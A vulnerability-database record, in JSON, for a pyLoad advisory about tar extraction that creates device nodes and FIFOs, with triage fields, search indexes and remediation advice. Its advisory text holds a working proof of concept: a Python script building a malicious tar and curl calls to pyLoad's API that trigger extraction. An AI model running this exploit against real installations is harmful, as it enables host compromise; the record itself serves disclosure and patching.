{"id":"CVE-2026-123815","kind":"vulnerability","aliases":["CVE-2026-123815","GHSA-fr26-jjhm-638c"],"related":[],"title":"pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)","description":"### Summary\n\n`UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member\n**names** and symlink/hardlink **targets**, but never checks member **types**, and calls\n`tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is\n`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create\nthem on disk. When pyLoad runs as root (the official Docker deployment), a block-device\nmember grants raw disk access — full host compromise — reachable by any low-privileged user\nwho can trigger archive extraction (ADD to supply an archive, STATUS to invoke\n`ExtractArchive.extract_package`).\n\n### Details\n\n```python\n# plugins/extractors/UnTar.py:69-79\nfor member in tar.getmembers():\n    if not is_within_directory(...) or <symlink/hardlink target checks>:   # names/links only\n        raise ArchiveError(...)\ntar.extractall(path, members, numeric_owner=numeric_owner)   # no filter=\n```\n\nNo `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation\nin `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults\nto a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create\nFIFOs for any euid.\n\n### PoC\n\n```bash\nBASE=http://127.0.0.1:8100\n# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member\npython3 - <<'EOF'\nimport tarfile, io\nt = tarfile.open('dev.bin','w')          # name it *.bin so UnTar (content-sniffed) claims it\nt.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))\ni = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666\nt.addfile(i)\nf = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE\nt.addfile(f); t.close()\nEOF\n\n# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,\n# then trigger extraction\ncurl -s -X POST \"$BASE/api/add_package\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n  -H 'Content-Type: application/json' -d '{\"name\":\"poc\",\"links\":[\"http://x/dev.bin\"],\"dest\":1}'\ncurl -s -X POST \"$BASE/api/service_call\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"service_name\":\"ExtractArchive.extract_package\",\"arguments\":[\"<pid>\"]}'\n\nls -l <extract dir>\n# → crw-rw-rw- 1 root root 1, 3 nulldev      (character device created)\n# → prw-r--r-- 1 root root     pipe          (FIFO created)\n# → -rw-r--r-- 1 root root     marker.txt\n```\n\nNegative control: the same flow with a `../evil` traversal member is rejected\n(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the\nGHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary\nis present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is\nreached via non-mapped names — as above — content-sniffed containers, or when 7z is\nabsent/fails.)\n\n### Impact\n\nWith pyLoad as root, a crafted archive can create block/character device nodes at arbitrary\npaths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),\nor set special bits; non-root deployments still get FIFOs and node entries in\nuser-accessible trees.\n\n### Remediation\n\nIn `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,\nor safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass\n`filter=\"data\"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply\nthe same member-type validation in the pre-extraction validator so all extractors share it.\n\n### References\n\n- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,\n  member types not).","summary":"pyLoad's tar extraction checks file names and link targets but not member types, so a crafted archive can make pyLoad create character or block device nodes and FIFOs on disk. If pyLoad runs as root, a block-device member can give raw disk access and full host compromise, reachable by any low-privileged user who can trigger archive extraction.","severity":"high","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"pyload-ng","fixed":[],"affected":"<= 0.5.0b3.dev101","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-22","docker","package","pyload-ng","python","self-hosted"],"not_affected_if":["no-untrusted-users","non-root-deployment"],"how_to_check":"- Check the installed version with `pip show pyload-ng`; affected versions are `<= 0.5.0b3.dev101`.\n- Check whether pyLoad runs as root, as in the official Docker deployment.\n- Check whether low-privileged users can add packages and trigger extraction (ADD and STATUS permissions).","fix":"- pyload-ng: unknown (the fixed version is not stated in the sources; see the patch linked in the advisory).","status":"open","published_at":"2026-10-09T17:08:58+00:00","first_seen_at":"2026-11-09T21:14:26+00:00","triaged_at":"2026-11-09T21:14:41+00:00","updated_at":"2026-11-09T21:14:41+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-09T21:14:41Z","model":"claude-haiku-5-5","output":{"fix":"- pyload-ng: unknown (the fixed version is not stated in the sources; see the patch linked in the advisory).","reach":"internet","title":"pyLoad: crafted tar archive can create device nodes and FIFOs","impact":"high","summary":"pyLoad's tar extraction checks file names and link targets but not member types, so a crafted archive can make pyLoad create character or block device nodes and FIFOs on disk. If pyLoad runs as root, a block-device member can give raw disk access and full host compromise, reachable by any low-privileged user who can trigger archive extraction.","audience":"businesses","category":"package","nicknames":[],"who_cares":["pyload-ng","python","docker","self-hosted"],"confidence":0.8,"fix_status":"unknown","needs_auth":"yes","worst_case":"Attacker creates raw disk device nodes, enabling host compromise when run as root","analyst_note":"Confirm the fixed version of pyload-ng from the patch at github.com linked in the GHSA advisory (GHSA-fr26-jjhm-638c).","how_to_check":"- Check the installed version with `pip show pyload-ng`; affected versions are `<= 0.5.0b3.dev101`.\n- Check whether pyLoad runs as root, as in the official Docker deployment.\n- Check whether low-privileged users can add packages and trigger extraction (ADD and STATUS permissions).","plain_action":"","product_name":"","needs_analyst":true,"not_affected_if":["non-root-deployment","no-untrusted-users"],"who_is_affected":"pyLoad installations that extract tar archives, especially those running as root such as the official Docker deployment, where low-privileged users can add packages and trigger extraction. The sources say the flaw sits in the UnTar extractor's `_safe_extractall`, which checks names and link targets but not member types, and calls tarfile.extractall without a filter on Python below 3.14.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.000961,"input_tokens":6151,"output_tokens":691,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-123815':19A,27A '-2026':18A,26A '-22':32B '-263':246C '-79':204C '/evil':454C '0':271C '0o666':334C '1':293C,330C,390C,420C,423C,433C,443C '127.0.0.1':281C '191':245C '3':295C,332C,424C '3.12':595C '3.13':266C '3.14':134C,262C '3.9':265C '56r7':114C,627C '582f':113C,626C '638c':24A '69':203C '7z':485C,517C '8100':282C 'absent/fails':519C 'access':87B,174C,564C 'add':108C,190C,352C,354C 'appli':604C 'application/json':383C,407C 'arbitrari':534C 'archiv':59B,102B,188C,194C,359C,464C,527C 'archiveerror':221C,459C,589C 'argument':413C 'attempt':460C 'b':322C,372C,396C 'backport':598C 'base':280C 'base/api/add_package':371C 'base/api/service_call':395C 'bash':279C 'bin':310C 'binari':486C 'bit':550C 'block':66B,80B,168C 'block-devic':79B,167C 'block/character':530C 'call':127C 'charact':64B,426C 'check':46B,123C,217C,236C,600C 'chrtype':290C 'claim':316C,493C 'compromis':91B,177C,540C 'confus':546C 'contain':146C,514C 'content':314C,381C,405C,512C 'content-snif':313C,511C 'content-typ':380C,404C 'control':448C 'craft':58B,144C,283C,526C 'creat':4A,63B,153C,273C,428C,438C,529C 'crw':417C 'crw-rw-rw':416C 'csrftoken':377C,401C 'curl':367C,391C 'cve':17A,25A 'cwe':31B 'd':384C,408C 'data':593C 'default':136C,256C 'deploy':165C,554C 'dest':389C 'detail':200C 'dev.bin':306C 'devic':5A,67B,81B,147C,169C,427C,531C 'directori':213C,581C 'disk':72B,86B,156C,173C,537C 'docker':33B,164C 'download':362C 'e.g':585C 'ed.jar':373C,397C 'entri':150C,560C 'eof':300C,345C 'euid':270C,277C 'everi':573C 'exist':237C 'extend':635C 'extens':498C 'extract':3A,45B,103B,137C,189C,366C,468C,615C 'extractal':14A,569C 'extractarchive.extract':198C,411C 'extractor':619C 'f':337C,343C 'f.type':340C 'fifo':8A,70B,149C,274C,437C,542C,557C 'fifotyp':297C 'file':47B,491C,580C 'filter':12A,16A,131C,138C,230C,260C,474C,592C 'first':496C 'fix':633C 'flow':451C 'folder':363C 'fr26':22A 'full':89B,175C 'fulli':140C 'gap':477C 'get':556C 'ghsa':21A,111C,471C,624C 'ghsa-fr26-jjhm-638c':20A 'ghsa-mvwx':470C 'ghsa-mvwx-582f-56r7':110C,623C 'give':84B 'grant':171C 'h':374C,379C,398C,403C 'hang':544C 'harden':107C 'honor':267C 'host':41B,90B,176C,539C 'i.devmajor':329C 'i.devminor':331C 'i.mode':333C 'i.type':327C 'impact':520C 'import':301C 'invok':197C 'io':303C 'io.bytesio':321C 'ipc':545C 'isblk':234C 'ischr':233C 'isfifo':235C,588C 'jjhm':23A 'l':415C 'likewis':248C 'link':50B,387C,584C 'low':96B,182C,349C 'low-priv':348C 'low-privileg':95B,181C 'ls':414C 'major':292C 'make':61B,151C 'map':507C 'marker':323C 'marker.txt':288C,320C,446C 'member':9A,54B,82B,116C,124C,170C,206C,224C,291C,298C,456C,479C,574C,608C,638C 'member-typ':607C 'member.isdev':232C,586C 'minor':294C 'mknod':268C 'mvwx':112C,472C,625C 'name':48B,117C,250C,308C,385C,410C,473C,490C,508C 'name-on':249C 'names/links':218C,636C 'negat':447C 'never':122C 'ng':30A,37B 'node':6A,68B,532C,559C 'non':506C,552C 'non-map':505C 'non-root':551C 'note':482C 'noth':466C 'nulldev':326C,425C 'numer':225C,227C 'offici':163C 'older':602C 'owner':226C,228C 'packag':34B,199C,356C,412C 'pass':591C 'path':223C,461C,501C,535C,631C 'path-travers':630C 'pipe':339C,436C 'place':357C 'plant':541C 'plugins/base/extractor.py':244C 'plugins/extractors/untar.py':202C 'poc':278C,386C 'post':370C,394C 'pre':241C,614C 'pre-extract':613C 'pre-valid':240C 'present':488C 'priv':350C 'privileg':97B,183C 'process':543C 'prw':430C 'prw-r':429C 'pyload':1A,29A,36B,42B,62B,74B,152C,158C,522C 'pyload-ng':28A,35B 'python':38B,133C,201C,252C,594C 'python3':299C 'r':431C,432C,441C,442C 'rais':220C 'raw':85B,172C,536C 'reach':503C 'reachabl':92B,178C 'read/write':538C 'refer':622C 'regular':287C,579C 'reject':458C,570C 'remedi':566C 'root':77B,161C,421C,422C,434C,435C,444C,445C,524C,553C 'run':75B,159C 'runtim':264C,603C 'rw':418C,419C,440C 'rw-r':439C 'safe':259C,568C,583C 'self':40B 'self-host':39B 'servic':409C 'set':548C 'sevenzip':495C 'share':620C 'skip':572C 'snif':315C,513C 'special':549C 'specif':481C 'status':195C,353C 'still':555C 'summari':104C 'suppli':192C 'support':263C,596C 'symlink/hardlink':119C,215C 't.addfile':318C,335C,342C 't.close':344C 'tar':2A,44B,145C,285C,489C,629C 'tar.extractall':222C 'tar.getmembers':208C 'tarfil':13A,254C,302C 'tarfile.chrtype':328C 'tarfile.extractall':128C 'tarfile.fifotype':341C 'tarfile.open':305C 'tarfile.tarinfo':319C,325C,338C 'target':51B,120C,216C 'travers':455C,462C,632C 'tree':565C 'trigger':101B,187C,365C 'trust':141C 'type':10A,55B,125C,382C,406C,480C,609C,639C 'untar':312C,500C 'untar._safe_extractall':105C 'user':98B,184C,351C,563C 'user-access':562C 'valid':115C,242C,610C,616C,637C 'via':504C 'w':307C 'within':212C 'without':15A,129C 'work':475C 'x':369C,376C,393C,400C 'x-csrftoken':375C,399C 'x/dev.bin':388C","nicknames":[],"mitigations":[],"who_affected":"pyLoad installations that extract tar archives, especially those running as root such as the official Docker deployment, where low-privileged users can add packages and trigger extraction. The sources say the flaw sits in the UnTar extractor's `_safe_extractall`, which checks names and link targets but not member types, and calls tarfile.extractall without a filter on Python below 3.14.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["pyloadng"],"ptokens":["ng","pyload"],"labels":["cwe22","docker","high","package","pyloadng","pypi","python","selfhosted"],"campaign_type":null,"search_a":"'-123815':19A,27A '-2026':18A,26A '638c':24A 'creat':4A 'cve':17A,25A 'devic':5A 'extract':3A 'extractal':14A 'fifo':8A 'filter':12A,16A 'fr26':22A 'ghsa':21A 'ghsa-fr26-jjhm-638c':20A 'jjhm':23A 'member':9A 'ng':30A 'node':6A 'pyload':1A,29A 'pyload-ng':28A 'tar':2A 'tarfil':13A 'type':10A 'without':15A","search_b":"'-22':32B 'access':87B 'archiv':59B,102B 'block':66B,80B 'block-devic':79B 'charact':64B 'check':46B 'compromis':91B 'craft':58B 'creat':63B 'cwe':31B 'devic':67B,81B 'disk':72B,86B 'docker':33B 'extract':45B,103B 'fifo':70B 'file':47B 'full':89B 'give':84B 'host':41B,90B 'link':50B 'low':96B 'low-privileg':95B 'make':61B 'member':54B,82B 'name':48B 'ng':37B 'node':68B 'packag':34B 'privileg':97B 'pyload':36B,42B,62B,74B 'pyload-ng':35B 'python':38B 'raw':85B 'reachabl':92B 'root':77B 'run':75B 'self':40B 'self-host':39B 'tar':44B 'target':51B 'trigger':101B 'type':55B 'user':98B","search_c":"'-263':246C '-79':204C '/evil':454C '0':271C '0o666':334C '1':293C,330C,390C,420C,423C,433C,443C '127.0.0.1':281C '191':245C '3':295C,332C,424C '3.12':595C '3.13':266C '3.14':134C,262C '3.9':265C '56r7':114C,627C '582f':113C,626C '69':203C '7z':485C,517C '8100':282C 'absent/fails':519C 'access':174C,564C 'add':108C,190C,352C,354C 'appli':604C 'application/json':383C,407C 'arbitrari':534C 'archiv':188C,194C,359C,464C,527C 'archiveerror':221C,459C,589C 'argument':413C 'attempt':460C 'b':322C,372C,396C 'backport':598C 'base':280C 'base/api/add_package':371C 'base/api/service_call':395C 'bash':279C 'bin':310C 'binari':486C 'bit':550C 'block':168C 'block-devic':167C 'block/character':530C 'call':127C 'charact':426C 'check':123C,217C,236C,600C 'chrtype':290C 'claim':316C,493C 'compromis':177C,540C 'confus':546C 'contain':146C,514C 'content':314C,381C,405C,512C 'content-snif':313C,511C 'content-typ':380C,404C 'control':448C 'craft':144C,283C,526C 'creat':153C,273C,428C,438C,529C 'crw':417C 'crw-rw-rw':416C 'csrftoken':377C,401C 'curl':367C,391C 'd':384C,408C 'data':593C 'default':136C,256C 'deploy':165C,554C 'dest':389C 'detail':200C 'dev.bin':306C 'devic':147C,169C,427C,531C 'directori':213C,581C 'disk':156C,173C,537C 'docker':164C 'download':362C 'e.g':585C 'ed.jar':373C,397C 'entri':150C,560C 'eof':300C,345C 'euid':270C,277C 'everi':573C 'exist':237C 'extend':635C 'extens':498C 'extract':137C,189C,366C,468C,615C 'extractal':569C 'extractarchive.extract':198C,411C 'extractor':619C 'f':337C,343C 'f.type':340C 'fifo':149C,274C,437C,542C,557C 'fifotyp':297C 'file':491C,580C 'filter':131C,138C,230C,260C,474C,592C 'first':496C 'fix':633C 'flow':451C 'folder':363C 'full':175C 'fulli':140C 'gap':477C 'get':556C 'ghsa':111C,471C,624C 'ghsa-mvwx':470C 'ghsa-mvwx-582f-56r7':110C,623C 'grant':171C 'h':374C,379C,398C,403C 'hang':544C 'harden':107C 'honor':267C 'host':176C,539C 'i.devmajor':329C 'i.devminor':331C 'i.mode':333C 'i.type':327C 'impact':520C 'import':301C 'invok':197C 'io':303C 'io.bytesio':321C 'ipc':545C 'isblk':234C 'ischr':233C 'isfifo':235C,588C 'l':415C 'likewis':248C 'link':387C,584C 'low':182C,349C 'low-priv':348C 'low-privileg':181C 'ls':414C 'major':292C 'make':151C 'map':507C 'marker':323C 'marker.txt':288C,320C,446C 'member':116C,124C,170C,206C,224C,291C,298C,456C,479C,574C,608C,638C 'member-typ':607C 'member.isdev':232C,586C 'minor':294C 'mknod':268C 'mvwx':112C,472C,625C 'name':117C,250C,308C,385C,410C,473C,490C,508C 'name-on':249C 'names/links':218C,636C 'negat':447C 'never':122C 'node':532C,559C 'non':506C,552C 'non-map':505C 'non-root':551C 'note':482C 'noth':466C 'nulldev':326C,425C 'numer':225C,227C 'offici':163C 'older':602C 'owner':226C,228C 'packag':199C,356C,412C 'pass':591C 'path':223C,461C,501C,535C,631C 'path-travers':630C 'pipe':339C,436C 'place':357C 'plant':541C 'plugins/base/extractor.py':244C 'plugins/extractors/untar.py':202C 'poc':278C,386C 'post':370C,394C 'pre':241C,614C 'pre-extract':613C 'pre-valid':240C 'present':488C 'priv':350C 'privileg':183C 'process':543C 'prw':430C 'prw-r':429C 'pyload':152C,158C,522C 'python':133C,201C,252C,594C 'python3':299C 'r':431C,432C,441C,442C 'rais':220C 'raw':172C,536C 'reach':503C 'reachabl':178C 'read/write':538C 'refer':622C 'regular':287C,579C 'reject':458C,570C 'remedi':566C 'root':161C,421C,422C,434C,435C,444C,445C,524C,553C 'run':159C 'runtim':264C,603C 'rw':418C,419C,440C 'rw-r':439C 'safe':259C,568C,583C 'servic':409C 'set':548C 'sevenzip':495C 'share':620C 'skip':572C 'snif':315C,513C 'special':549C 'specif':481C 'status':195C,353C 'still':555C 'summari':104C 'suppli':192C 'support':263C,596C 'symlink/hardlink':119C,215C 't.addfile':318C,335C,342C 't.close':344C 'tar':145C,285C,489C,629C 'tar.extractall':222C 'tar.getmembers':208C 'tarfil':254C,302C 'tarfile.chrtype':328C 'tarfile.extractall':128C 'tarfile.fifotype':341C 'tarfile.open':305C 'tarfile.tarinfo':319C,325C,338C 'target':120C,216C 'travers':455C,462C,632C 'tree':565C 'trigger':187C,365C 'trust':141C 'type':125C,382C,406C,480C,609C,639C 'untar':312C,500C 'untar._safe_extractall':105C 'user':184C,351C,563C 'user-access':562C 'valid':115C,242C,610C,616C,637C 'via':504C 'w':307C 'within':212C 'without':129C 'work':475C 'x':369C,376C,393C,400C 'x-csrftoken':375C,399C 'x/dev.bin':388C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-10-09T17:08:58+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-fr26-jjhm-638c","url":"https://github.com/advisories/GHSA-fr26-jjhm-638c","severity":"high","published_at":"2026-10-09T17:08:58+00:00","modified_at":"2026-11-09T21:13:25+00:00","first_seen_at":"2026-11-09T21:14:26+00:00","fetched_at":"2026-11-09T21:18:52+00:00","note":null}],"documents":[{"id":109932,"url":"https://api.github.com/repos/pyload/pyload/security-advisories/GHSA-fr26-jjhm-638c","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":109933,"url":"https://github.com/pyload/pyload/security/advisories/GHSA-fr26-jjhm-638c","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":109934,"url":"https://github.com/pyload/pyload/commit/09eec1b431b6942a1917f094f2c77bfbf5637f60","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}